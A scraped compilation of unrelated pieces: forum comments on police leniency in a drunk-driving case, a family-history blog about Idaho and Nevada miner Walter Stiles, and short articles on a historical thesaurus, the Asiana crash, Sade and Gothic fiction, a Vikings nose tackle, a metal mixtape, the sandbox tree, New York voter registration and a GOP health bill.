To: Arrowhead1952
I pulled off I-10 recently and noticed two cars in front of me. A Florida State Trooper, and another car in front of him. I noticed the first car only slowed for the stop sign. My first thought was, "how stupid can you get". Then the trooper did the exact same thing. No he didn't stop the first driver.
To: Arrowhead1952
We had a police officer here who was chased on his crotch rocket for miles at speeds up to 130 Miles per hour. He didnt even get a speeding ticket out of it. I guess they called it a training excercise or something. If it hadnt been for citizens and their scanners it would have never been known.
Comment #11 Removed by Moderator
To: Arrowhead1952
Why is this news. It would really be newsworthy if an officer were arrested for this. They were, however, really "tough" on him by not letting him drive home.
To: Arrowhead1952
by 13 posted onby pageonetoo (Denny Crane: "There are two places to find the truth. First God and then Fox News.")
To: Arrowhead1952
Good 'ole boy network lives in Williamson County. Last year the Sherriff was caught walking(stumbling) along a busy street and taking a piss in someones front yard. Of course they just gave him a ride home. He was later fired though.
To: wmichgrad
"Here in Michigan, if you refuse the Breathalyzer, they take your license, haul you off to jail and get a warrant to take your blood." They didn't get to the point of telling him he had to take a breathalyzer. He refused the "road sobriety tests," which are not mandatory. For instance, if the Officer told him to "stand on one leg," do the "ABCs", "walk a straight line," or other such tests to determine motor controls or speech impairment, the Deputy can refuse, and you can too. Had the Officer arrested the Deputy, then the Deputy would have had to take the breathalyzer. Laws may differ from State to State, but I am not aware of any State that requires a driver to perform a RST. And there may be differing threshholds under which a person can be required to give a breathalyzer. In many states, the person has to be arrested first.
by 15 posted onby Enterprise (President Bush thought Wead was a friend. Turns out he was just a big fat tape worm.)
To: Wolfie
not a bit; I am sure it happens every day.
To: Arrowhead1952
Kinda like Pittsburgh,Pa. and the North Hills of said 'Burg,..a judge gets THREE DUI's...drops his pants in public...gives his BMW to a valet parking attendant and is drunk on the job....Justice of the Peace shears off a telephone pole after leaving the bar(50yds. away) and 100yds. away from the local PD. barn(Sat.night). Results??? Judge retires with honor...JP...back on the job Monday A.M. passing judgement on DUI. cases. If it happened to anyone else......
To: Arrowhead1952
In Ma. They always ask you to take the breath test. If you refuse it is a automatic 90 day suspension of your license.
I was pinched for DUI 29 years ago, If I refuse I lose it for 1 year.
To: Arrowhead1952
Can you say "professional curtesy"?
To: Enterprise
" Laws may differ from State to State, but I am not aware of any State that requires a driver to perform a RST."
But if any civilian were to refuse he would be placed under arrest immediately, and probable cause would be manufactured if it was established later that he wasn't actually drunk.
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FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794
FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonWhen my Grandmother Stila M. (Harlan) Gleason passed away on May 7, 2002, not only did we lose the family matriarch but we lost the our family historian. I had been dabbling with the family tree for a couple of years and but hadn’t really delved into researching and documenting the life stories of individuals. I decided someone should document our family’s history to preserve it for future generations and so began my adventurous journey, as an amateur genealogist, the search for Uncle Walter Stiles and the discovery of an interesting life.
Walter Stiles
Walter Stiles was born in Chicago, Illinois, in October of 1867, the second child and son of George Washington and Mary Jane (Cunningham) Stiles. Walter’s father was born in Cape Breton, Nova Scotia and his mother in New York.
The family remained in Illinois until the late 1870s and then headed West to Dickinson County, Kansas. The family would remain in Dickinson County until 1889, when George Sr. headed west to Washington and Idaho. The family, including wife Mary, along with Walter, Albert and daughter Emma, would soon follow. Oldest son George Jr., remained in Kansas, until 1891. The family had settled in Idaho; when George Jr. and his family joined them.
A Miner’s Life in Idaho
Background: Shoshone County originally was formed under the Territory of Washington on January 9, 1861. Washington Territory legislators established the county in anticipation of the gold rush that occurred after the discovery of gold at Pierce in October, 1860. Their location of the northern boundary at a line drawn due east from the mouth of the Clearwater River, unknowingly placed the emerging mining settlement at Pierce outside of the county’s boundaries while residents of the new Mormon settlement at Franklin were unknowingly located within the established boundaries. Regardless of the geographic reality, the county seat was located at Pierce. Growth at Pierce was so rapid that Shoshone County boasted the largest vote of any county within Washington Territory at the territorial election of July 8, 1861. In less than a year, Shoshone County contained additional settlements at Lewiston, Elk City, Newsome, and Florence. On December 20, 1861, Nez Perce and Idaho counties were created from most of the original territory of Shoshone County. On the following day, Shoshone’s boundaries were shifted northward, containing most of present-day Clearwater County and a portion of present-day Shoshone County.–(Source) Wikipedia
The family settled in an area which was then Shoshone County, it would become part of Clearwater County, in 1911. Several members of the Stiles family filed homestead claims, including Walter.
Walter’s land patent is dated January 28, 1900, for Twp/Rng 036N-004E, portions of Sections 13 & 14. Walter appears to have dabbled in ranching, while also mining in Pierce City, with his brother Albert.
Toward the end of the nineteenth century unrest surrounded the mines in Northern Idaho. In the 1880s the miners organized and formed several local unions. The mine owners answered by forming the Mine Owner’s Association. There was a labor dispute and an uprising in 1892, which resulted in the Frisco Mill being blown up.
BLOODSHED IN IDAHO.
Desperate Battle in the Coeur d’Alene Regions.
CONFLICT BETWEEN UNION AND NON-UNION MINERS.
The Frisco Mill Blown Up With Dynamite During the Fight–Four People Killed and Ten Wounded So Far as is Known, Although There May be Bodies Underneath the Wrecked Mill.
Special to the RECORD-UNION.
WALLACE (Idaho), July 11.–The strained situation in the Coeur d’Alene labor troubles culminated this morning between 5 and 6 o’clock. Among the events of the day previous were challenges from the non-union men at the Frisco and Gem mines to the union miners at the town of Gem, and all seemed to indicate a speedy rupture. Both the Gem and Frisco mines were guarded by men behind a barricade, armed with Winchesters, and as the canyon is narrow where the mines are located, the men behind the barricades could sweep the two railroad tracks and the county road with bullets… This morning at 5 o’clock a miner from the Gem started for the Burke. When opposite the Frisco mine he was fired upon… They scattered and a regular battle ensued. One miner and one non-union man were killed and perhaps six wounded during the engagement. The miners in the meantime got around the hills up the canyon above the mine, loaded a Union Pacific car with 750 pounds of giant powder and sent the car down the track toward the Frisco mine. Directly in front of the mill an explosion occurred, shattering the mill to splinters, making it a complete wreck.–(Source) Sacramento Daily Union, July 12, 1892
Then Governor Norman Bushnell Willey, called in the Militia and declared Martial Law and Military rule would last for four months.
In 1899 there was another uprising and a labor confrontation at the Bunker Hill Mining Company. On April 29 union members commandeered a train in Burke. The train continued through Burke Canyon, making stops along the way, to load passengers and cargo. The cargo being approximately three thousand pounds of dynamite, which was detonated at the site of the mill of the Bunker Hill mine.
BLOODY RIOT.
Wardner Idaho, Again the Scene of Outrage.
Union Miners on the Warpath With a Vengeance.
One Man Dead, One Dying and Much Property Lost.
FIRE AND DYNAMITE USED.
Quarter of a Million Dollars Damage Done.
Strikers’ Sympathizers Did the Dastardly Work.
Through Mistake They Fired Upon Their Own Pickets.
A DEADLY LABOR WAR BEGUN. [Associated Press Night Report.]
SPOKANE (Wash.) April 29.–A Wardner, Idaho, special to the Spokesman-Review says: “Wardner had today the scene of the worst riots since the deadly labor war of 1892. One man is dead, another is thought to be mortally wounded and property valued at $250,000 has been destroyed by giant powder and fire. The damage was done by union men and sympathizers from Cañon Creek, about twenty miles from Wardner. “This morning a mob of 800 to 1000 men, all of them armed, and many of them masked, seized a train at Burk, the head of Cañon Creek. There were nine box cars and a passenger car, and they were black with the mob. The visitors brought with them 3000 pounds of giant powder. “After a parley of two hours, 140 masked men, armed with Winchesters, Busk in the lead and Warner following, started with yells for the Bunker Hill and Sullivan mills, and other buildings a third of a mile from the depot. They sent pickets ahead and one of these pickets fired a shot as a signal that the mill was abandoned. This was misunderstood by the main body of the mob, who imagined that non-union miners in the hills had opened fire on them, and they began firing on their own pickets. About 1000 shots were thus exchanged between the rioters and their pickets, and Jack Smith, one of the pickets, formerly of British Columbia, and noted figure in drill contests, was shot dead. …A Times special from Spokane says that 600 miners from the Burke, Gem and other Idaho mines, heavily armed and masked, marched to the Bunker Hill and Sullivan mine at Wardner, owned by the Standard Oil people, today. …The present strike in the Coeur d’Alene mining district in Northern Idaho was inaugurated about ten days ago, and is directed principally against the Bunker Hill and Sullivan mine at Wardner, where non-union men are employed. …The agent of the Oregon Railway and Navigation Company at 3:30 o’clock this afternoon telegraphed the officials in this city from Wardner, Idaho, that the striking miners had fired the Bunker Hill and Sullivan mill and that it was burning. It is claimed that the mine is loaded with dynamite, and if this proves true the entire property will be lost. The striking miners are also reported to be in possession of the Northern Pacific and Oregon Railway and Navigation trains, and in complete control of the situation.–(Source) The Los Angeles Times, April 30, 1899
Two men were killed, as a result and Paul Corcoran was charged with the murder of James Cheyne and ordered to stand trial. Walter, along with several other local area residents including Job Snyder and Dan Carr, were selected to hear the case. The jury handed down a conviction and Paul Corcoran was sentenced to 17 years at hard labor in the Idaho State Penitentiary. Paul Corcoran was pardoned and released from prison in 1901.
The Governor of Idaho at the time of the 1899 uprising was Frank Steunenberg, he was assassinated, after he left office, in 1905. Harry Orchard, a former miner, associated with the Western Federation of Miners (WFM) was arrested, convicted and sentenced to death, for the crime. Orchard’s death sentence was commuted to life in prison; where he spent the remainder of his life.
North to Alaska
During the early 1900s Walter traveled to Alaska several times on prospecting trips. One of these trips took place in the summer of 1906. In September of 1906, Walter and a group of miners, were camped at Tyonek, Alaska, when Dr. Frederick Cook and Edwin N. Barrill returned from Mt. McKinley declaring they had reached the summit of the mountain. A member of Walter’s party, Curtis Hanse, carried the cablegram announcing the ascent to Seward, for publication.
On October 4th of 1909, Edwin N. Barrill made an affidavit at Tacoma, Washington stating he was the only person present with Dr. Cook when he claimed to have reached the summit of Mt. McKinley and Dr. Cook’s claims were false. Walter filed an affidavit defending Dr. Cook; in doing so Walter made national news, including The New York Times.
Dr. Frederick A. Cook’s reputation would never recover and he was branded a fraud and legal problems, would continue to mount.
DOCTOR COOK Dr. Frederick A. Cook, Arctic explorer and oil operator, has been found guilty at Fort Worth, Texas, of using the mails to defraud. This last event rounds out a hectic career filled with so many fraudulent claims that the sentencing judge said sarcastically: “The twentieth century should be proud of you. History gave us Ananias and Sapphire. They are forgotten but we still have Doctor Cook.” Born in Callicoon Depot, N. Y., June 10, 1865, Cook First became a figure of interest when he served as surgeon with a Belgian Antarctic expedition, 1897-1899. In 1901-1902 he served in the same capacity with the Peary Arctic expedition. As an independent explorer, Cook led expeditions to Mt. McKinley from 1903 to 1906 and in the last year claimed to have made the complete ascent, though in the light of later experiences the veracity of this claim has been doubted by some scientists. His next great undertaking was an Arctic expedition, and in 1909 he returned to civilization and claimed to have reached the North Pole on April 21, 1908. On the strength of his claims he was much feted and thereafter lectured extensively through this country and England, speaking chiefly about North Pole experiences. Later investigations showed that Cook’s claims were false and the honors that had been given him were thereupon withdrawn and given to Robert Peary, under whom Cook and served in an Antarctic expedition. Peary actually discovered the North Pole on April 9, 1909. Cook’s record is full of brilliant exploratory attempts which would have brought him respect if he had been content with minor laurels, but he claimed big things he had never done, to get higher honors. That was his undoing. The mail matter he sent out to persuade investors to put money in his Petroleum Producers’ association seems to have been filled with similarly plausible but doubtful claims which, in the light of his record, would look wrong to any jury. Doctor Cook has never had more than temporary luck in fooling the public.–(Source) The Idaho Statesman, November 23, 1923 Dr. Cook died on August 5, 1940 and is buried the Chapel of Forest Lawn Cemetery, in Buffalo, New York.
Striking Gold in Nevada
Walter along with his younger brother, Albert would continue prospecting; following gold would lead them to Clark County, Nevada. In 1920, the U.S. Census shows Walter and Albert living in Beatty, Nye County, Nevada. The Stiles brothers would lease the Techatticup Mine, located in the Eldorado Canyon, from 1917 to 1930. Walter and Albert struck gold in June of 1927; according to the book “Nevada’s Metal and Mineral Production (1859-1940, Inclusive), the Stiles brothers produced 3,437 tons of ore, valued at $81,798.00 during those years.
$28,000 Gold Opened
Special Dispatch to The Chronicle
SEARCHLIGHT, Nev.–A small oreshoot, sampling $28,000 in gold per ton, has been opened on the 300-foot level of the old Techatticup mine in El Dorado canyon by the Stiles lease, according to the leasers. The vein is claimed to show an inch of almost solid gold. The strike was made in the western section of the mine in virgin ground. The Techatticup for several years has produced fair-grade ore.–(Source) San Francisco Chronicle, July 4, 1927
The 1930 U. S. Census, shows Walter and Albert were now living in Nelson, Clark County, Nevada. They are listed as living at No. 10, Techatticup Mine, among their neighbors listed is Willett Barton, No. 14, Rand Mining Company. Willett is listed as the head of household and one of his boarders is George W. Harlan, age 22, the nephew of Walter and Albert. It isn’t known how long nephew George spent mining with his uncles, in Nevada. However, it is interesting that Walter, Albert and Willett H. Barton are living in close proximity to one another. Walter and Willett obviously knew one another and quite possibly had business dealings, as well.
Also in 1930, the Stiles brothers lost their lease on the Techatticup, to “outside parties.”
The Techatticup mine is reported to have been taken over by outside parties for immediate development. This property, oldest and most famous of Eldorado mines has been leased profitably for several years by the Stiles brothers.–(Source) Reno Gazette-Journal, July 29, 1930
Sometime before 1935, Albert moved back to Clearwater County, Idaho and by 1940 was living in Mead, Spokane County, Washington, with his nephew Harry Q. Stiles and family. Albert would die on April 4, 1943 and his cremains were interred at Hill Cemetery, in Orofino.
Walter remained in Clark County and continued mining, for the remainder of his life.
Murder at Searchlight
In 1938, Walter, by now in his mid-sixties was still working as a miner in Clark County. On August 21st, Walter, along with Fred Colton and Bill Douglas were attempting to locate a claim and in the process were accused of “claim jumping” by Walter’s former neighbor and friend, Willett H. Barton. Shots rang out and Walter was mortally wounded, Willett H. Barton was arrested and carted off to jail.
MINING DISPUTE IS FATAL FOR AGED MAN LAS VEGAS, Nev., Aug. 23 (AP)–Walter stiles, sixty-nine, died in a hospital here last night of bullet wounds he received Sunday in what officers said was a dispute over a mining claim at Searchlight, fifty miles southeast of here. Following the death, District Attorney Roger Foley said that murder charges will be filed against Willett Barton, former friend of Stiles who has been held in jail since the shooting. Foley asserted that Fred Colton and William Douglas, young miners working on the disputed claim at the time of the shooting, said Stiles was not associated with them but was present as a friend and was an innocent victim. The claim in question, Foley said, had been held for years by Barton, Colton and Douglas, however, alleged that no work had been done or notice of intention to hold filed since 1935 and that they located the claim legally. Stiles was shot through the hip and physicians said that a blood clot formed, causing death.–(Source) Reno Gazette-Journal, August 23, 1938
Willett H. Barton was a well known miner in the area and had served as Justice of the Peace, in Searchlight. Willett came to Nevada shortly after his marriage to Bertha Marvin, in June of 1904, in Fort Collins, Colorado. He and wife Bertha would have three daughters, Wilberta, Kathleen Lois and Florence, prior to their divorce.
On December 24, 1938, Willett H. Barton was acquitted of the murdering Walter and became a free man.
BARTON ACQUITTED OF ASSAULT CHARGE LAS VEGAS, Nev., Dec. 24. (Special)–Willett Barton, former justice of the peace at Searchlight, was acquitted today on charges of assault with intent to kill. The complaint was the result of a dispute over mining claims in the Searchlight district, and originally Barton was charged wit murder. …When the jury brought in its verdict, Barton arose in the court room to thank the twelve jurymen, then wished the judge and district attorney a “Merry Christmas.”–(Source) Reno Gazette-Journal, December 24, 1938
It is impossible to know, if Walter’s family had been in Nevada and actively involved in seeking justice, would the outcome of Barton’s trial have been different? It is also unknown if Barton’s former position as Justice of the Peace, had any influence with the judge and jury, hearing his case.
Walter Stiles was laid to rest, in an unmarked grave, in Woodlawn Cemetery, in Las Vegas, Nevada.
After Walter’s death, Willett H. Barton remained in the Searchlight area until his death in 1952.
Senator Harry Reid, a native of Searchlight would later mention both Willett and Walter, in two of his books, documenting the history of the area.
Barton, a graduate mining engineer, later became a mining operator and a large landowner. His notoriety, however, came not from his business prowess but rather from his murder in 1939 of Bill Stiles, and alleged claim jumper. Though Barton was convicted, he served only one year in jail for shooting down a defenseless man working in a hole. His story was that he shot into the ground and the shot ricocheted up and hit Stiles.–(Source) Searchlight: The Camp That Didn’t Fail – Harry Reid, James W. Hulse, Mike O’Callaghan (pub. 2007, page 139)
Senator Reid’s childhood memories of Barton, seem to imply that although he was acquitted, his reputation never recovered, after he shot and killed Walter.
I remember a man named Willet Barton. He killed a man in a claim-jumping deal. Somebody had tried to take his mine away from him, and Willet shot him. People were kind of afraid of him, I guess, because all the kids had heard that he was a killer. Willet liked me for some reason. And in this little yard of his, he cultivated figs–he had two trees–and this man who had such a fearsome reputation would share his figs with me. I don’t really know why. Maybe it was because I wasn’t afraid of him. But I didn’t care why. I just loved the figs, and I couldn’t believe that something so sweet could be born of the hard rocks beneath our feet.–(Source) The Good Fight: Hard Lessons From Searchlight to Washington – Harry Reid, Mark Warren (pub. 2008, page 49)
The Search for Uncle Walter
I spent over twelve years searching for clues on what happened to Uncle Walter. I wrongly assumed he had most likely spent his golden years in the Spokane area, with his brothers George and Albert. The trail went cold after the 1930 census and no one in the family ever mentioned Uncle Walter, or much about the Stiles family, in general. Walter’s sister, Emma, my great-grandmother died young and her oldest child, George W. Harlan was only four-years-old, at the time of Emma’s death. Daughter Stila, told many a family story during her lifetime but I never remember her mentioning any of her uncles, on the Stiles side. It was only recently that I learned Uncle Albert Stiles ashes were inurned at Hill Cemetery, in 1966. Uncle Albert died in 1943, meaning his ashes were probably stored on a shelf, somewhere in Grandpa and Grandma Gleason’s house until that time.
There is still a lot of missing information about our Stiles family roots but in finding Uncle Walter, I found a family member who not only lived during the time of many exciting events in our country’s history; he was an active participant in many of them.
Uncle Walter may have been a long forgotten story in our family lore but he definitely left his mark on history and he most certainly led an eventful life.
A special thanks to Senator Harry Reid and all of the people of Clark County Nevada for helping me solve the family mystery and find Uncle Walter.
(Note: During my research there was more than one document, including Senator Reid’s book, that referred to Walter as Bill Stiles. I have found no official/legal evidence that Walter ever used the name Bill but it is quite possible it was a nickname, or perhaps his middle name was William.)About 800,000 words and more than 1,000 years of the English language have been published in a vast new online database.
The Historical Thesaurus of English is said to be the only resource to make the meaning of every English word from the last millennium available to the public online.
It is a digital version of the Historical Thesaurus of English Project, the printed version of which was first published in 2009 after 44 years of work by academics at the University of Glasgow.
The new website - historicalthesaurus.arts.gla.ac.uk - was launched today on the 50th anniversary of the beginning of the project.
Since it started on January 15 1965, the project has taken 230 linguists to complete and is still being added to today.
According to the university, it is the world's only complete historical thesaurus published in any language.
Categories with the most words and phrases include terms of endearment and various ways of describing someone as stupid or drunk over the years.
In the endearment category, terms such as "darling" and "my dove" have been used for hundreds of years, but phrases including "luv" and "lamb chop" are more recent, according to the thesaurus.
The 16th century threw up its own terms of endearment but phrases such as "my ding-ding" and "bawcock" did not last the test of time.
The team behind the thesaurus hope it will prove a resource for studying how language has changed through the years.
Dr Marc Alexander, director of the Historical Thesaurus of English, said: "We are delighted to be able to launch this new online resource which will make the vast and completely unique contents of the Historical Thesaurus available to the public as never before.
"We hope that this will be of great use to historians, writers and linguists, but we also encourage anyone with an interest in the English language and its history - or just the history of the English-speaking peoples - to explore this fascinating resource."S.F. insists Asiana victim was dead when fire rigs hit her
In this undated photo, Ye Meng Yuan poses for photos in a classroom in Jiangshan city in China's Zhejiang province. Video footage from a firefighter's helmet camera following the crash landing of an Asiana Airlines flight in San Francisco shows fire personnel were aware there was someone on the ground outside the plane. That person, 16-year-old Ye Meng Yuan, was alive, but later run over and killed by a fire truck. (AP Photo/CHINATOPIX, File) CHINA OUT less In this undated photo, Ye Meng Yuan poses for photos in a classroom in Jiangshan city in China's Zhejiang province. Video footage from a firefighter's helmet camera following the crash landing of an Asiana... more Photo: Uncredited, Associated Press Photo: Uncredited, Associated Press Image 1 of / 22 Caption Close S.F. insists Asiana victim was dead when fire rigs hit her 1 / 22 Back to Gallery
The 16-year-old girl who was run over by two fire rigs after the Asiana Airlines plane crash in July at San Francisco International Airport was already dead when she was struck, and a coroner's finding that she was alive at the time amounts to "speculation," city officials have told federal investigators.
"Ample evidence" supports the conclusion that Ye Meng Yuan of
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including pornography, Gothic, and baroque. Sade's most famous books are often classified not as Gothic but as libertine novels, and include the novels Justine, or the Misfortunes of Virtue; Juliette; The 120 Days of Sodom; and Philosophy in the Bedroom. These works challenge traditional perceptions of sexuality, religion, law, age, and gender. His opinions on sexual violence, sadism, and pedophilia stunned even those contemporaries of Sade who were quite familiar with the dark themes of the Gothic novel during its popularity in the late 18th century. Suffering is the primary rule, as in these novels one must often decide between sympathizing with the torturer or the victim. While these works focus on the dark side of human nature, the magic and phantasmagoria that dominates the Gothic is noticeably absent and is the primary reason these works are not considered to fit the genre.[52]
Through the unreleased passions of his libertines, Sade wished to shake the world at its core. With 120 Days, for example, Sade wished to present "the most impure tale that has ever been written since the world exists."[53] Despite his literary attempts at evil, his characters and stories often fell into repetition of sexual acts and philosophical justifications. Simone de Beauvoir and Georges Bataille have argued that the repetitive form of his libertine novels, though hindering the artfulness of his prose, ultimately strengthened his individualist arguments.[54][55]
Short fiction [ edit ]
Subtitled "Heroic and Tragic Tales", Sade combines romance and horror, employing several Gothic tropes for dramatic purposes. There is blood, banditti, corpses, and of course insatiable lust. Compared to works like Justine, here Sade is relatively tame, as overt eroticism and torture is subtracted for a more psychological approach. It is the impact of sadism instead of acts of sadism itself that emerge in this work, unlike the aggressive and rapacious approach in his libertine works.[51] The modern volume entitled Gothic Tales collects a variety of other short works of fiction intended to be included in Sade's Contes et Fabliaux d'un Troubadour Provencal du XVIII Siecle.
An example is "Eugénie de Franval", a tale of incest and retribution. In its portrayal of conventional moralities it is something of a departure from the erotic cruelties and moral ironies that dominate his libertine works. It opens with a domesticated approach:
To enlighten mankind and improve its morals is the only lesson which we offer in this story. In reading it, may the world discover how great is the peril which follows the footsteps of those who will stop at nothing to satisfy their desires.
Descriptions in Justine seem to anticipate Radcliffe's scenery in The Mysteries of Udolpho and the vaults in The Italian, but, unlike these stories, there is no escape for Sade's virtuous heroine, Justine. Unlike the milder Gothic fiction of Radcliffe, Sade's protagonist is brutalized throughout and dies tragically. To have a character like Justine, who is stripped without ceremony and bound to a wheel for fondling and thrashing, would be unthinkable in the domestic Gothic fiction written for the bourgeoisie. Sade even contrives a kind of affection between Justine and her tormentors, suggesting shades of masochism in his heroine.[56]
Sadism in the Gothic novel [ edit ]
Despite the strong adverse reaction to Sade's work and Sade's own disassociation from the Gothic novel, the similarities between the fiction of sadism and the Gothic novel were much closer than many of its readers or providers even realized. After the controversy surrounding Matthew Lewis' The Monk, Minerva Press released The New Monk as a supposed indictment of a wholly immoral book. It features the sadistic Mrs. Rod, whose boarding school for young women becomes a torture chamber equipped with its own "flogging-room". Ironically, The New Monk wound up increasing the level of cruelty, but as a parody of the genre, it illuminates the link between sadism and the Gothic novel.[56]
Bibliography [ edit ]
See also [ edit ]
References [ edit ]Video (02:23) : Vikings wide receiver Cordarrelle Patterson has worked with the second team during training camp, though coach Mike Zimmer has noticed improvement from the 2013 first-round pick.
– Things always are interesting when it comes to the Vikings, but the 2014 season was a particularly wild one at Winter Park. There was the Priefer scandal, the Peterson saga and a few notable arrests. On the field, there was a new coach, a quarterback competition and some costly early-season injuries.
So much happened, one might be forgiven for forgetting that a starter got shot.
Nose tackle Linval Joseph was fortunate to escape an August 2014 shooting at a downtown Minneapolis nightclub relatively unscathed. The memory of that night affected Joseph much more significantly than the entry and exit wounds from that hot bullet. But the injury, which happened after the preseason opener, was another setback for Joseph.
Throw in the offseason shoulder surgery, a change of scenery and a new scheme, and needless to say, Joseph never quite felt comfortable in his first season in Minnesota.
“Last year, I had a lot of things holding me back,” he said. “This year I have a clean slate.”
With the harrowing shooting and his less-than-ideal Vikings debut behind him, Joseph feels like himself again, which is a good thing for a Vikings defense that ranked 25th in the NFL against the run last season. His coaches and teammates are raving about him, and he hopes to anchor a defensive line that feels it has plenty to prove in 2015.
Nose tackle Linval Joseph (98) sees 2015 as a new beginning. "Last year, I had a lot of things holding me back" he said. "This year I have a clean slate."
“I feel great, man. I feel great about the defense,” Joseph said earlier this week, sweat dripping from his bushy beard after a steamy morning walk-through. “Everybody’s healthy. I’m healthy. And I’m just glad to be here.”
Joseph understandably doesn’t want to talk much about the incident at 400 Soundbar early last Aug. 9.
With Joseph and several teammates chilling in the back of the club, a man opened fire inside the nightclub, wounding at least nine people. One man, who was believed to be the intended target in the gang-related shooting, died from his wounds a month later.
Joseph, seeking cover, flopped onto the floor. A stray bullet pierced his left calf.
At the time, Joseph called the shooting “very scary” and said it changed his outlook on life. But now, a year later, the 26-year-old says he has moved on.
“It’s behind me. It’s just how it goes,” said Joseph, who has two nickel-sized scars from where the bullet entered and exited his leg. “Things happen and you just have to move on. If you dwell on the past, you’ll never get over it.”
After sitting out the team’s final three preseason games, he started all 16 regular-season games. Because of all the time he missed in the spring and summer, it took him most of the season to find his footing, but he played well down the stretch for the 7-9 Vikings.
He finished the season with 47 tackles and three sacks, but a good nose tackle’s impact cannot always be captured within a boxscore.
“For us, he does a lot of dirty work. He’s not a stat guy really,” coach Mike Zimmer said. “He’s a guy who helps keep linebackers clean and allows you to play a little bit smaller guys sometimes at linebacker. [Nose tackles] take on double teams. They have to fight at the line of scrimmage.”
Zimmer added: “Linval had a great spring, a really, really impressive spring, I thought. … I think if he continues on the same path that he’s on, he has a chance to have a good year.”
While the injuries were a factor for Joseph a season ago, Zimmer said that Joseph playing in a new scheme shouldn’t be overlooked. The coach said that more often than not, players who sign as free agents, as Joseph did for $31.5 million last March, perform much better in their second season with a new team than the first.
“Second year in the system, I know all the plays and I’m ready to play, I’m ready to ball with my guys,” Joseph said. “I’ve been around these guys for a year now, and now it’s really, really clicking. And everybody is going to click to another level this year.”
Friend and fellow starter Sharrif Floyd, who has bonded with Joseph through not only a shared position by also a mutual appreciation for fishing and traveling, concurs.
“I feel like he has come a long way since last year,” Floyd said. “Toward the end of the year, he started to play really, really well, at a high level. And I think he will pick up where he left off.”
Said Joseph, “I feel way better now. I’m more explosive and I’m just ready to go.”"White Walker", MASTODON's contribution to the the second installment of "Catch The Throne: The Mixtape", for HBO's Emmy- and Golden Globe-winning series "Game Of Thrones", is available for streaming using the SoundCloud widget below.
Building on the success of Volume I — with over 2.5 million streams to date — that attracted hip-hop and reggaeton fans alike, "Volume II" of "Catch The Throne: The Mixtape" will also feature ANTHRAX, KILLSWITCH ENGAGE, MUSHROOMHEAD, Method Man, Snoop Dogg and Yandel and will transcend genres by adding Grammy-nominated metal bands KILLSWITCH ENGAGE and ANTHRAX to the mixtape lineup. The mixtape will be released in anticipation of the season 5 debut of "Game Of Thrones", airing April 12 on HBO.
Produced by Launch Point Records, the 15-song mixtape features diverse artists representing "Game Of Thrones" families, leveraging themes and highlights from season 4. Showcasing the importance of music in "Game Of Thrones", each song on the mixtape samples music from the show's season 4 soundtrack. This year's mixtape also weaves in the overarching theme of fire and ice, providing listeners with an exciting lineup of heavy metal and hip-hop artists.
"Catch The Throne: The Mixtape Volume II" will be released on March 17 free of charge.
Viewers can access previous seasons of "Game Of Thrones" on HBO GO, HBO On Demand or by checking local listings for replays.Hura crepitans, the sandbox tree,[2] also known as possumwood and jabillo, is an evergreen tree of the spurge family (Euphorbiaceae), native to tropical regions of North and South America, including the Amazon rainforest. It is recognized by the many dark, pointed spines and smooth brown bark. These spines have caused it to be called monkey no-climb.
Sandbox trees can grow to 60 metres (200 ft),[3] and the large ovate leaves grow to 2 feet (0.61 m) wide. They are monoecious. The red flowers have no petals. Male flowers grow on long spikes; female flowers are solitary in axils. The fruit is a large capsule with explosive dehiscence; seeds can be launched at 70 metres per second (160 mph).[4] One source states that ripe capsules catapult their seeds as far as 100 metres (330 ft).[5] Another source states that seeds are thrown as far as 45 metres (148 ft) from a tree, with a mode of about 30 metres (98 ft).[3] It has also been known as the dynamite tree, so named for the explosive sound of the ripe fruit as it splits into segments.
Its fruits are pumpkin-shaped capsules, 1.4–2 inches (3–5 cm) long, 2–3.2 inches (5–8 cm) diameter, with 16 carpels arranged radially. Its seeds are flattened and about 0.8 inches (2 cm) diameter. In parts of Tanzania in Africa it has become invasive.[6]
This tree prefers wet soil, and partial shade or partial sun to full sun. It is often cultivated for shade.
Fishermen have been said to use the milky, caustic sap from this tree to poison fish.[7] The Caribs made arrow poison from its sap.[8] The wood is used for furniture under the name "hura". Before more modern forms of pens were invented, the trees' unripe seed capsules were sawn in half to make decorative pen sandboxes (also called pounce pots), hence the name'sandbox tree'.
Gallery [ edit ]ALBANY — New Yorkers must register to vote by Oct. 14 in order to cast ballots in the upcoming presidential election on Nov. 8, state officials said.
New Yorkers looking to register to vote or to change their enrollment information can do so by using the state’s online voter registration service on the New York State Department of Motor Vehicles’ website.
“New York’s online voter portal has helped break down barriers to democracy, making it easier than ever to register and ensure you can exercise your right to vote on Election Day,” said Gov. Andrew Cuomo. “I encourage eligible voters who need to register, or update their information to visit this new, improved and even more convenient Web site and make sure your voice is heard.”
Previously, New Yorkers needed to sign up for a MyDMV account to register to vote online. Thanks to a new feature on the website, applicants can simply visit the voter registration page on the DMV website. The application takes only a few minutes to complete and no longer requires that a MyDMV account be created to participate. Customers must enter information from their New York State driver license, permit, or non-driver ID, their date of birth, current zip code, last four digits of their Social Security Number and their email address. The information provided is validated to ensure accuracy and security.
Since the MyDMV automated online system was launched in 2012, the DMV has processed more than 467,000 online voter registration applications, including more than 182,500 from first-time voters.
“It is quicker and easier than ever to register to vote online through DMV’s website now that DMV has eliminated the need for applicants to sign up for a MyDMV account,” DMV Executive Deputy Commissioner Terri Egan said. It is as easy as logging on to our website from a computer, tablet, or even a smartphone by the Oct. 14 deadline in order to exercise your right to vote in this November’s presidential election.”
DMV does not approve or deny voter registration applications. Upon completion, DMV sends the voter registration applications to the County Board of Elections for review and action. Once processed, the county will notify the applicants either that they are registered to vote or that additional information is needed to complete the application. Additionally, New Yorkers can use the New York State Board of Elections’ website at elections.ny.gov to check their voter registration status.
To register to vote, a New Yorker must be a United States citizen; be 18 years old by Dec. 31 of the year in which he or she submits the form (note: you must be 18 years old by the date of the general, primary or other election in which you want to vote); live at his or her present address at least 30 days before an election; not be in prison or on parole for a felony conviction; not be adjudged mentally incompetent by a court; and not claim the right to vote elsewhere.
A list of frequently asked questions about registering to vote through DMV can be found on dmv.ny.gov.Story highlights The GOP bill met swift opposition
Some conservatives and major players within the health care space said they can't support it
Washington (CNN) Republican leadership this week revealed its plan to repeal and replace the Affordable Care Act, also known as Obamacare.
The proposal, backed by President Donald Trump, Speaker Paul Ryan and others, met swift opposition from conservative corners as well as major players within the health care space.
Some, like the conservative Association of Mature American Citizens and the American Action Network, have praised the bill, but many other key interest groups and industry stakeholders have expressed concerns with the bill as written.
